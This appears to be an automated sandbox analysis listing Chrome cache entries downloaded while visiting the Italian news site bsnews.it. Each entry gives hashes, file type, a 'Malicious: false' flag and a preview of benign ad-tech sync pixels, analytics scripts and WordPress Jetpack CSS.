Malicious:	false
Reputation:	low
URL:	https://connectid.analytics.yahoo.com/connectId-gpt.js
Preview:	(()=>{var t={404:(t,e)=>{!function(t){var e={};function n(o){if(e[o])return e[o].exports;var r=e[o]={i:o,l:!1,exports:{}};return t[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=t,n.c=e,n.d=function(t,e,o){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:o})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var r in t)n.d(o,r,function(e){return t[e]}.bind(null,r));return o},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=2)}([function(t,e,n){var o=n(3);t.exports=function(t,e,n){return(e=o

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (691), with no line terminators
Category:	downloaded
Size (bytes):	691
Entropy (8bit):	5.4227768131701435
Encrypted:	false
SSDEEP:	12:fXffqRGqlFuiR9iYg61XslvFwaLzJqqrGuHnzNmk7x0VUog1zZw0ADRWZBb1o:fXffAlJRGOXsJFw69qXuHZWVUok7ERWW
MD5:	57CADBC27E282A97562638FD2206CDF9
SHA1:	BB553F17D4F3EDFD3D3D4D4CBA95DB576B979EA5
SHA-256:	E4CA5FE42FF1AD1C6C0AC9F8A35851620B79756AED57AD798B6B13A0CD9AD5C9
SHA-512:	90DF421E96FFA082EC53A0F51CEF2794D4F3FDABEA1481CA054E0EAA0ADF4386FF98D42F0F767F65B9BA96BB6D55A86C7C3839855496183B0246E91FE282EB21
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/923.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[923],{923:(t,e,r)=>{"use strict";r.r(e);var a=r(845);const{LoggerSour:o}=a.t,n=new o("DMP > Weborama");!function(){var t=window;n.log("Initialize Weborama 1");const{dmpConfig:e}=t._sour.config;if(!e)return;let r=e.filter((t=>"weborama"===t.name));if(!(r.length<=0)){r=r[0],n.log("Initialize Weborama",r);var{WRP_ID:a,WRP_ID_GRP:o,WRP_SECTION:s,WRP_SECTION_GRP:c}=r,i=document.createElement("script");i.async=!0,i.type="text/javascript";var p="https:"===document.location.protocol;i.src=(p?"https:":"http:")+"//cstatic.weborama.fr/js/products.js";var u=document.getElementsByTagName("script")[0];u.parentNode.insertBefore(i,u)}}()}}]);

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=xandr_eb&google_hm=MzI4NzA0MTgzMTQ3NTEyOTM0NA%3D%3D&google_gid=CAESEAqcRI_3AYwoLPC-iDh9cOc&google_cver=1&google_push=AXcoOmTSgvbW_FghhTnbn5uuGNDUEJpccrYHTLdBIwA9Z0nOnAp9I8NII_d5V1iGWl7LATMh2sO9xKExRDe9MVXIJyy-NiHlMxmtMg
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2934
Entropy (8bit):	5.431497477917328
Encrypted:	false
SSDEEP:	48:kHbLIfmz2GO5bB+LGOox1GOGU9dNblGOh/gr51jGO+o26uGOUj5MueOSy9DOGO+z:IIeBEBBbxkhYDbUSb4xUDyPD
MD5:	2409D21B9A6B3299D20D6B7F948B6321
SHA1:	65C9871051E40766D69F99D9C24413D424FD6843
SHA-256:	19D5FBDA107C2E5D84FAB5051A306765A068708C27CD7B4632FF9834462E904E
SHA-512:	D25C091E0DCC78A7FB98F508513222065B6135B144A73D163C8D399352DC4A0BC411E1966240C2CB1AA63FD3ACED31F4C98E497846E4FB387F4D7DE1689C8A26
Malicious:	false
Reputation:	low
URL:	https://g2.gumgum.com/usync/13926?gdpr=0&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D309%26uid%3D
Preview:	<html><head><title></title></head><body>.<img src="https://secure.adnxs.com/getuid?https://usersync.gumgum.com/usersync?b=apn&i=$UID" style="display:none;"/>.<img src="https://x.bidswitch.net/sync?ssp=gumgum2&user_id=u_a5489836-263b-4903-9095-fa7e48511288&gdpr=0&gdpr_consent=&us_privacy=1---" style="display:none;"/>.<iframe src="https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=" style="display:none;"></iframe>.<img src="https://us-u.openx.net/w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1---&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D" style="display:none;"/>.<img src="https://sync.srv.stackadapt.com/sync?nid=1&gdpr=0&gdpr_consent=" style="display:none;"/>.<iframe src="https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNTQ4OTgzNi0yNjNiLTQ5MDMtOTA5NS1mYTdlNDg1MTEyODg=&gdpr=0&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv" style="display:

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	46843
Entropy (8bit):	6.0096594893164115
Encrypted:	false
SSDEEP:	768:tQ+9Zh+Clpxixm7yhemwuaSyqCH8CxtaTUVgOZlZeVCzlxbZoJvlZPMIomRzzIIK:27mqoV5EC5xbZe9yIXS
MD5:	F591D1BADF2C6CD72155E00699C1971D
SHA1:	4F0EA8E0C43D3B0563D7169328A4FFCB0E065F08
SHA-256:	0F1205DE69C29EE637B1371510CC7E029FC3AC41125A623DB75D7712B0ED3922
SHA-512:	C2CE877001F66C64BF66BAFE7A522CC1326AEE0D66BC1FC966EC3F96D3C55A452B4F6BA62331A4455BF31B7BC10FB3687B872A84E30DEBD9523C74FB7A03BC8D
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=4003889626162697&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2CBSNEWS-DSK-Spalla-dx-300X600-ATF&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x250%7C300x600&ifi=7&didk=315054745&sfv=1-0-40&rcs=3&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615940572&lmt=1711560111&adxs=842&adys=593&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=2&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=324x636&msz=324x0&fws=4&ohw=324&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA%2CAOrYGslsriMWrMZfbuyWD3scjX5EX9icZGjJjFjHYGDToB3vrsuu_t2o_RSnrAJ919nxIdNvwmYBTQ131oj3qJZ2pxFbYNyG&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvQlNORVdTLURTSy1TcGFsbGEtZHgtMzAwWDYwMC1BVEYiLFtdXV1dLG51bGwsM10.&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinterval%26refreshCount%3D3%26amznbid%3D1ff2vpc%26amznp%3Denkohs%26amzniid%3DJGapUzYM-SRrUSVnpipTqiYAAAGOhEKa2AEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICDU01mv%26amznsz%3D300x600%26amznactt%3DOPEN&cust_params=consent%3Dyes&adks=979779281&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/BSNEWS-DSK-Spalla-dx-300X600-ATF":["html",1,null,null,1,600,300,0,0,null,null,null,1,null,[138297743502],[5246841556],[4519387872],[2638048796],null,null,null,null,null,null,null,1,null,null,null,null,null,null,"AOrYGslN2YaB09Gq5wAp6TxfL1NuXzFCyy7HaMaG7Rw1hpZftAyeohSDtLWS8hwUo4YPUSV8uhzGwOwt-Wh7-U2WJLxbMyI","COWn5KHKloUDFfrgKAUd1gkA3w",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"2",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html><head><script>var inDapIF=true,inGptIF=true;</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {};</script><script data-jc="42" data-jc-version="r20240326" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=duration_media&endpoint=us-east
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESEJsyHo98T7DEGuNMD17ZOLk&google_cver=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (604)
Category:	downloaded
Size (bytes):	5493
Entropy (8bit):	5.187082312881555
Encrypted:	false
SSDEEP:	96:48IZO0A3aNeA6DEkxYmQtIO+UWCE4TpRj3MGQ:XIZNeA6DE2LQWRMnj3MGQ
MD5:	F6D6306AD2027279911FD1632A6187F4
SHA1:	AD2C6B908AE1CB4DFF3BAD906150C672E0FEC001
SHA-256:	2BD2CF513443967C84694435A79964881012973B858A062E51FE5EBB9714CDDE
SHA-512:	23649986201AFDBC805C744ADE187514F645FE03A2657C7BFE975B66846ADDDFF564731F8A1CF2AFC3B78CC259C11418571D2CFF62F4603CE7CC8FBEF3C16711
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js?ver=be262a20ca49ba5e513ad6176c77b975
Preview:	var tdbAutoload={};.(function(g,d,m){var p=g(document),k=g(d);tdbAutoload={original_post_id:null,loaded_posts:[],is_ajax_running:!1,init:function(){var a=g("#tdb-autoload-article");if(0!==a.length){var e=a.data("autoload"),b=a.data("autoload-type"),l=a.data("autoload-count"),c=a.data("autoload-org-post-id"),h=c,f=0;tdbAutoload.original_post_id=c;tdbAutoload.loaded_posts.push(c);tdbAutoload.log("%c tdbAutoload(inf) art. settings","background: #ffaa00; color: #ffffff; padding:3px 6px");tdbAutoload.log("tdbAutoload status: "+e);.tdbAutoload.log("tdbAutoload type: "+b);tdbAutoload.log("tdbAutoload original post id: "+c);tdbAutoload.log("tdbAutoload count: "+parseInt(l,10));tdbAutoload.log("tdbAutoload scroll percent: "+d.tdb_p_autoload_vars.autoloadScrollPercent);b=m.debounce(function(){tdbAutoload.log("ajax autoload > scroll");if(!0!==tdbAutoload.is_ajax_running){var b=100*k.scrollTop()/(p.height()-k.height()),e=d.tdb_p_autoload_vars.autoloadScrollPercent;(!l\|\|f<parseInt(l,10))&&b>=e&&c==

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Reputation:	low
URL:	https://trz.neodatagroup.com/cm?sid=1011&pv=MEDIAMATH&eid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&rt=img&rnd=436232701635
Preview:	.

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2361), with no line terminators
Category:	downloaded
Size (bytes):	2361
Entropy (8bit):	5.194843112239708
Encrypted:	false
SSDEEP:	48:fP8gwv8iEATsdOowwU+kNH7n/VuhkLFJ/o27dzIXJ+2gMsJoFSEY8o:8g68iPsoofm7/kgFJ/o2VK+2gMsJT9
MD5:	7AF49D40F99468461E5F89DD76F0EE09
SHA1:	C69F08718576CC9993D4BAADD5C884F53A8C09A7
SHA-256:	998E77AC11357D3B7DFA69A433542D2E098F3E6262E1FA624E4D33FC547DEB05
SHA-512:	3CA9244DE6A5898D7466058258485B8CFE5425DC176B8A77CE6499A146432D8914DCE20ADC573E1A3EE053552CD74B100E16807C5AFF722223678280C0E19AA0
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/656.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[656],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>i});var r=n(845);const{LoggerSour:l}=r.t,o=new l("DOM Manager"),i={createDOMElement:d,createDivAndAppend:u,createPlaceHolderAndStyle:a,checkPageSelectors:g,insertAfter:c,getMaxHeight:s,appendScriptForDiv:function(e,t="stdunit"){if(!e)return;t\|\|(t="stdunit");const n="<span class='sour-scripts-"+t+"'>"+unescape(e)+"</span>";var r=document.createRange();r.selectNode(document.getElementsByTagName("body")[0]);var l=r.createContextualFragment(n);document.body.appendChild(l),o.log("Adding script for "+t)},initPlaceholderSlot:function(e){let{gsizes:t,code:n,createElementMode:r,createElementSelector:l,minWidth:i,maxWidth:c,pageSelectors:u}=e;if(i\|\|c){var s=window.innerWidth;if(i&&s<i)return!1;if(c&&s>c)return!1}if(u&&"null"!==u&&!g(u))return o.log("pageSelectors "+u+" not found!"),!1;if(r&&l)d(e);else if(null==document.getElementById(n))return null;return null===e.placeholder&&(e.placeholder=!

Chrome Cache Entry: 558

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	107339
Entropy (8bit):	5.048251086672749
Encrypted:	false
SSDEEP:	3072:62UW3fqHGk1uQpJSC6CzTFVuIo27oTFJ3nQ9tQRd:62UW3fqHGk1uQpJSC6FTFJ3nQ9tQRd
MD5:	B5E4C70734EFED01A1694AE95F197950
SHA1:	D6A875FA8CFD992A1BAD9CE9E52410F55DA30FB5
SHA-256:	D12394014AFCDB75F7A413F63E39DEEA025E753B30F52E60B82BC0B9AD59F020
SHA-512:	0315E75555A30E2B73F1775708B62E9B181D2811E99864B2A45BEDE82813DE051B7C4CD88B504DC8079DA91C39C5F2A496DC12BAA5D64719D0D821E7739EBE51
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/css/jetpack.css
Preview:	@charset "UTF-8";@font-face{font-family:swiper-icons;font-style:normal;font-weight:400;src:url("data:application/font-woff;charset=utf-8;base64, d09GRgABAAAAAAZgABAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAGRAAAABoAAAAci6qHkUdERUYAAAWgAAAAIwAAACQAYABXR1BPUwAABhQAAAAuAAAANuAY7+xHU1VCAAAFxAAAAFAAAABm2fPczU9TLzIAAAHcAAAASgAAAGBP9V5RY21hcAAAAkQAAACIAAABYt6F0cBjdnQgAAACzAAAAAQAAAAEABEBRGdhc3AAAAWYAAAACAAAAAj//wADZ2x5ZgAAAywAAADMAAAD2MHtryVoZWFkAAABbAAAADAAAAA2E2+eoWhoZWEAAAGcAAAAHwAAACQC9gDzaG10eAAAAigAAAAZAAAArgJkABFsb2NhAAAC0AAAAFoAAABaFQAUGG1heHAAAAG8AAAAHwAAACAAcABAbmFtZQAAA/gAAAE5AAACXvFdBwlwb3N0AAAFNAAAAGIAAACE5s74hXjaY2BkYGAAYpf5Hu/j+W2+MnAzMYDAzaX6QjD6/4//Bxj5GA8AuRwMYGkAPywL13jaY2BkYGA88P8Agx4j+/8fQDYfA1AEBWgDAIB2BOoAeNpjYGRgYNBh4GdgYgABEMnIABJzYNADCQAACWgAsQB42mNgYfzCOIGBlYGB0YcxjYGBwR1Kf2WQZGhhYGBiYGVmgAFGBiQQkOaawtDAoMBQxXjg/wEGPcYDDA4wNUA2CCgwsAAAO4EL6gAAeNpj2M0gyAACqxgGNWBkZ2D4/wMA+xkDdgAAAHjaY2BgYGaAYBkGRgYQiAHyGMF8FgYHIM3DwMHABGQrMOgyWDLEM1T9/w8UBfEMgLzE////P/5//f/V/xv

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (535)
Category:	downloaded
Size (bytes):	2673
Entropy (8bit):	5.078290942464029
Encrypted:	false
SSDEEP:	48:qKBKJfwCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:lBKJfZlCUybFuuI9j3obFuBi/Wbz
MD5:	0FD62C9967AD642A232CD85F7B0FBD0B
SHA1:	9E4022A190CA706FFFC2F9DC71113773A2E95877
SHA-256:	47362C4E07B98B1462ADA18B5CC2247EAF7BF37AE7182BC8A6A64D6E13F34951
SHA-512:	CDBD72A57E338B05760C6A585082B27B08813F733E5C7B016ABC6C178E6F9DD212EBCEB5F1F37DA36A9ADB485B87BD92B02F7F79F53131454B015ABB60550DB7
Malicious:	false
Reputation:	low
URL:	https://onetag-sys.com/usync/?cb=1711615920385&gdpr=0&gdpr_consent=
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "https://pixel.rubiconproject.com/tap.php?v=223352&nid=4584&put=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI https://cm.g.doubleclick.net/pixel?google_nid=bidswitch_dbm&google_cm&google_sc&ssp=onetag&bsw_param=f6fc5731-6145-4496-aa7d-dffabe45a73b&google_hm=ZjZmYzU3MzEtNjE0NS00NDk2LWFhN2QtZGZmYWJlNDVhNzNi https://a.sportradarserving.com/sync?ssp=bidswitch&bidswitch_ssp_id=onetag https://x.bidswitch.net/sync?ssp=onetag&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {.

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12817)
Category:	downloaded
Size (bytes):	12818
Entropy (8bit):	6.072709468814804
Encrypted:	false
SSDEEP:	192:+OlO9s9Brc9Xl9qfzw/MVfkJYBwlPVB4qalfh96nzhhTyxnt:BwZXlppJX1alDENGt
MD5:	8FAA5FCE133A66181B61E4AA7497787F
SHA1:	670F24FF393E053FDA85E56559094704419FE9CC
SHA-256:	8E974B6AE4F0E09293655569F14AF299BD59572CE397D0F9546DF10EB89B671D
SHA-512:	E81DA146A604982A9A51C43B0557E3087ED710DFAFE2C37881955C8A5DC9EDDAB64F9D03546A7CC2DBC1CC4703CDB8310C9759E74E25D9517C8426B9D80A9C52
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/p/jetpack/13.2.2/_inc/social-logos/social-logos.min.css
Preview:	@font-face{font-family:social-logos;src:url(data:application/octet-stream;base64,d09GMgABAAAAABzgAAsAAAAAM7gAABySAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHFQGYACJcgrNPL1NATYCJAOBZAt0AAQgBYRGB4R7G5EqVUaFjQOQme3bTfb/dQI3hoR3Yt0xJNpjlVjuuOuDHd2n38Rs6stnCPiGNqH8UJgox1RXOGizhYd7HWfNFhDNhlLCQ62V/5qGe7b3GMiFoTwKnwgV4WJTUREyRtH/eyQvAFrePgMyz9PfvnP7vGrmi5DURBzlkECwptEOz2/z/1wq9HKJUklBG0FEMCgBxUi0Z2zDXCQ+/8yVc13q4m+uwrUsW125/b+oem7Tsv39JbmiddHsW2b6TX/P18kgMDEgTgjv+ubNab3UuUnTmyFpSrsv1GaBBohle/ZlPy7kcpWu0tWWAjMcB5wUKEl5GOwkAv5+akat9A5bUzogmQAWwEKgvix590vvZ/fJad/aqlSXFDnVclp1AkhraFEmqFTFm2I7xXZKrTQdkOSOlQroHWFHUegBSA/S2Zr5FnLZVhjqQ/+RTetLkM1hgTr1fyyIBkiQ86tBgEiPKfK8bxyQ3vD2OWU0b02Bw8zidg9uEbh++k5zIRjmUU+aa3EDca6dK1jefPFL5hOSqfEuYOdavMuPr3oJ0FV1pbkAqpfAAAU6cjZcHvfHiA21C3dQomuPTscBDWpo+stQfKGSnDAnu4Av6BfMi8pL4wpdmLvyupLc3PwvwBAEV1c8lH4FMkvnxQoNZixZ84Wzurc73fXY6/8pD6SsAgMqlWnXoUipWIU2QwzH1yMyKF+xalWsPiO6FPLUytOoXosagVSJRIM6TboJihZq1qpTv2G9MsohCpgxAciHR0bwvxBdkPhfRBb/K6TgDTSQAYABUgnwgJQBfCDtgABIByAEUgSIgJQCYmh

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	291152
Entropy (8bit):	5.321627374765049
Encrypted:	false
SSDEEP:	6144:+np9EjLX3LWhDEALJ7L6TNLsU1Uhw0L4yRwIrTXI:YpDEALJ7LJVI
MD5:	E3BE409AC3C100E2A5D3F264EC260551
SHA1:	37C12FB96A63CCCD44462B6A4E3985D3D25EB270
SHA-256:	EBE0F94CA53BC5F7D865F89AEC5B0315BCA03ACE6942D6C1C76D94D5B59D419A
SHA-512:	C4C631DE2E390C3E7F6FF25ACBE83920BCBB3CB38AECB6C30973EBC38B2CCE37DFC425C60D503E9A0B06B6D4F40CA1EE52B4F2DBED927857C1994FD6A0A89E31
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalPageSDKES6.js?v=151605
